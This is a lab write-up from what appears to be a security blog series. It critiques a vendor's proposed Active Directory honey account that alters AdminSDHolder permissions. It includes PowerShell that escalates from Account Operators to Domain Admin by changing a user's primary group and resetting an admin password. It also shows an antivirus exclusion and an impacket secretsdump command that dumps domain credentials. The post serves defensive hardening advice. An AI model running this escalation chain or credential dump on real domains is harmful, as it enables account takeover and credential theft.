TL;DR setting up conflicting webs of Allows, Denys, group memberships, etc is likely to only make your Misconfiguration Debt worse. It’s not a great idea for a honey token either.
Welcome to Part XII of our Back to the Basics Series!
Part I: NTDS.dit vs SAM
Part II: Ownership Matters
Part III: Recovering from a Crash
Part IV: Setting up a Simple Honeypot Account
Part V: Automating DC Deployment
Part VI: Sometimes it’s the dumbest thing
Part VII: Merry Christmas, macros, & Base64
Part VIII: Why old 0 Days make great teaching tools
Part IX: PowerShell & PS1s without PowerShell.exe
Part X: Ownership & so called “effective permissions”
Part XI: Windows Event Forwarding & SACLs
Part XII: Poorly planned honeypots & other Bad Ideas
Part XIII: Setting up a simple honey token
Part XIV: Smartcards and Pass-the-Hash
Part XV: Forwarding logs to Sentinel & basic alerts
Part XVI: Automating VM deployments in Hyper-V
Part XVII: Migrating the lab from ESXi to Hyper-V
Background
Many certifications organizations have phrased a honeypot as “a system on the network that appears to be real, yet has no business data or function. Any interaction with them is, by definition, suspicious”. Of course there’s also honey tokens, honey files, honey accounts, etc. We used a honey account here we called ‘The Poor Man’s Honeypot’. It was an account setup solely to flag password spraying. The account had no privileges, would lock automatically after login, and a notification would be sent with the details.
A common honey file is to put a file on a share drive that’s readable by all Domain Users, but not mapped anywhere. The file is named something interesting and logging is enabled so that a notification is sent if anyone accesses the file. No real data is put in the file, certainly nothing sensitive. We went over how to setup a simple honey file here.
Honey things should only send alerts, they should not have any real data or actually have an escalation path. That is why a certain vendor’s proposed honey account struck me as so odd. I couldn’t quite put my finger on why, but it later came to me.
The Proposed Honey Account
“1. Create a dummy honey-pot AD account called say, John Doe
2. Create an AD security group called say, Tier-3 Support Team
3. Add John Doe’s account to the Tier-3 Support Team group
4. Add these 2 permissions to the #AdminSDHolder’s ACL -
Deny Domain Users All Extended Rights
Allow Tier-3 Support Team Reset Password
5. Then, just configure auditing in AD and simply wait until you get notified that someone is trying to compromise this dummy John Doe user account, note their IP-address and go CATCH THEM red-handed. :-) “
What’s the Issue?
Let’s set aside the fact for a minute that by default all accounts are in Domain Users, meaning that if a Domain Admin forgets their password then no one can reset it for them, even another Domain Admin. Domain Admins will also be unable to change their own password. If your environment is using smartcards and rolls the hashes, as it should, then this may cause issues. We will just setup the lab and do the thing.
The vendor also neglected to include a guide for configuring auditing across all DCs, so I’ll link ours here and some things you might want to look for and how here.
Lab Setup
I had another domain spun up running Windows Server 2025 Preview that I’d been itching to try out in a lab exercise. This will work fine in a 2016 functional level domain too though.
On a sidenote, I find it funny that Microsoft includes a plug for Azure Active Directory (AAD) in the setup for Active Directory Domain Services (AD DS) if you use the GUI.
They will have to push an update to change that to “Entra ID”.
Just run the below as a Domain Admin to setup the vendor’s scenario, with a twist we will show shortly:
Set-Location AD:
$DomainRoot = (Get-ADDomain).DistinguishedName
$VendorGroup = "Tier-3 Support Team"
New-ADOrganizationalUnit -Name "User Accounts" -DisplayName "User Accounts" -Path "ou=User Accounts,$DomainRoot"
New-ADGroup -GroupScope Global -GroupCategory Security -Name "$VendorGroup" -SamAccountName "$VendorGroup" -Path "ou=User Accounts,$DomainRoot" -Path "ou=user accounts,$DomainRoot"
New-ADUser -Name "Malicious Insider" -DisplayName "Malicious Insider" -Surname "Insider" -GivenName "Malicious" -SamAccountName "Insider" -UserPrincipalName "Insider@lab.local" -AccountPassword(ConvertTo-SecureString -AsPlainText "Password00" -Force) -Enabled $true "ou=user accounts,$DomainRoot"
Add-ADGroupMember -Identity "Account Operators" -Members "Insider"
New-ADUser -Name "John Doe" -DisplayName "John Doe" -Surname "Doe" -GivenName "John" -SamAccountName "John.Doe" -UserPrincipalName "John.Doe@lab.local" -AccountPassword(ConvertTo-SecureString -AsPlainText "Password00" -Force) -Enabled $true -Path "ou=user accounts,$DomainRoot"
New-ADOrganizationalUnit -Name "Administrators" -DisplayName "Administrators" -Path "$DomainRoot"
New-ADUser -Name "Frisky McRisky" -DisplayName "Frisky McRisky" -Surname "McRisky" -GivenName "Frisky" -SamAccountName "Frisky.McRisky" -UserPrincipalName "Frisky.McRisky@lab.local" -AccountPassword(ConvertTo-SecureString -AsPlainText "TheDenyWillSaveUs!" -Force) -Enabled $true -Path "ou=administrators,$DomainRoot"
Add-ADGroupMember -Identity "Domain Admins" -Members "Frisky.McRisky"
$victim = (Get-ADObject "cn=AdminSDHolder,cn=system,dc=lab,dc=local" -Properties *).DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity "$VendorGroup").SID
$userII = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity "Domain Users").SID
#Allow specific password reset
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"ExtendedRight","ALLOW",([GUID]("00299570–246d-11d0-a768–00aa006e0529")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Deny all ExtendedRight
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $userII,"ExtendedRight","DENY",([GUID]("00000000–0000–0000–0000–000000000000")).guid,"None",([GUID]("00000000–0000–0000–0000–000000000000")).guid))
#Apply above ACL rules
Set-ACL $victim $aclI am sure the astute reader saw the twist already. The vendor didn’t include an escalation path to the so called honey pot account, so why would an attacker pay any attention to it? Likely they’d go a different route entirely and this “honeypot” would do nothing but cause configuration issues.
Enumeration
The vendor hates the free BloodHound tool, so we’ll wait for the AdminSDHolder to do it’s thing and then enumerate the domain with SharpHound.
New-Item -ItemType Directory C:\Temp
Add-MpPreference -ExclusionPath "C:\Temp"
Set-Location C:\Temp
.\SharpHound.exe
Drop the zip file generated into BloodHound and we get a nice graphical representation of the path.
If you haven’t setup BloodHound yet, we put a guide here.
Allow vs Deny
But wait, Domain Users can’t reset passwords on any users covered by the AdminSDHolder right? What if they’re not in Domain Users though?
Insider is malicious after all, and they know how to Google. They can abuse this scenario in minutes.
New-ADUser -Name "Totally Legit" -DisplayName "Totally Legit" -Surname "Legit" -GivenName "Totally" -SamAccountName "Totally.Legit" -UserPrincipalName "Totally.Legit@lab.local" -AccountPassword(ConvertTo-SecureString -AsPlainText "Password00" -Force) -Enabled $true "ou=user accounts,$DomainRoot"
Add-ADGroupMember -Identity "Tier 3 Support Team" -Members "Totally Legit"
$NewGroup = Get-ADGroup "Tier 3 Support Team" -Properties primaryGroupToken
Set-ADUser -Identity "Totally.Legit" -Replace @{primaryGroupID=$NewGroup.primaryGroupToken}
Remove-ADGroupMember -Identity "Domain Users" -Members "Totally.Legit"
#Login as Totally.Legit and Profit :P
Set-ADAccountPassword -Identity "Frisky.McRisky" -AccountPassword(ConvertTo-SecureString -AsPlainText "Password00" -Force) -Enabled $trueYeah I know, we have been beating this dead horse for awhile in various writeups. Apparently it bears repeating though. Notice that Malicious Insider didn’t even touch the so called “honeypot” account. Why would they? It’s the group that’s misconfigured.
Game Over
python3 /home/kali/Downloads/impacket-master/examples/secretsdump.py -just-dc Frisky.McRisky:Password00@192.168.0.250
Key Takeaway
I am probably preaching to the choir, but Account Operators have control over all users and groups that are not covered by the AdminSDHolder. Therefore if you delegate ‘Dangerous Rights’ over Administrative groups to a non-administrative group then you are also giving Account Operators and any groups that might have been delegated rights set to inherit on the OU containing that non administrative group rights.
This is essentially why the AdminSDHolder exists; to protect you from yourself. If a careless sysadmin moves a Domain Admin account into an OU that’s controlled by the helpdesk then the helpdesk’s rights over the OU will not inherit on down to the Domain Admin’s account.
However if you delegate rights by screwing around with the AdminSDHolder, then move the group you rather sloppily delegated to into the wrong OU … well you have just created an escalation path.
Summary
Sean Metcalf recommends not using the builtin groups at all. Here at test.local we would suggest not delegating ‘Dangerous Rights’ over anything covered by the AdminSDHolder to anyone who themselves is not.
We have said this many times before, but creating a tangled web of Allows, Denys, and conflicting group memberships is likely to only make your Misconfiguration Debt worse. If there is no DACL giving an attacker the right, they aren’t in a HVT group that can seize ownership, and you don’t have an unpatched vulnerability that gives everyone rights as the account running the vulnerable service, etc then they can’t do the thing.
Honeypots, honey nets, honey tokens, etc should not contain real data. They should not create issues resembling a DoS. They should not lead anywhere. They should definitely not create a privilege escalation path. This is IT 101 stuff, I know. However it apparently bears repeating.
References
SANS whitepaper on honeypots, honeynets, & honeytokens: https://sansorg.egnyte.com/dl/HE62lPPvln
Builtin groups: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#account-operators
Tier model: https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model
Sean Metcalf explains Account Operators: https://adsecurity.org/?p=3658
Sprectre Ops on Misconfiguration Deb in AD: https://www.enterprisesecuritytech.com/post/yes-active-directory-attack-paths-are-this-bad-for-everyone
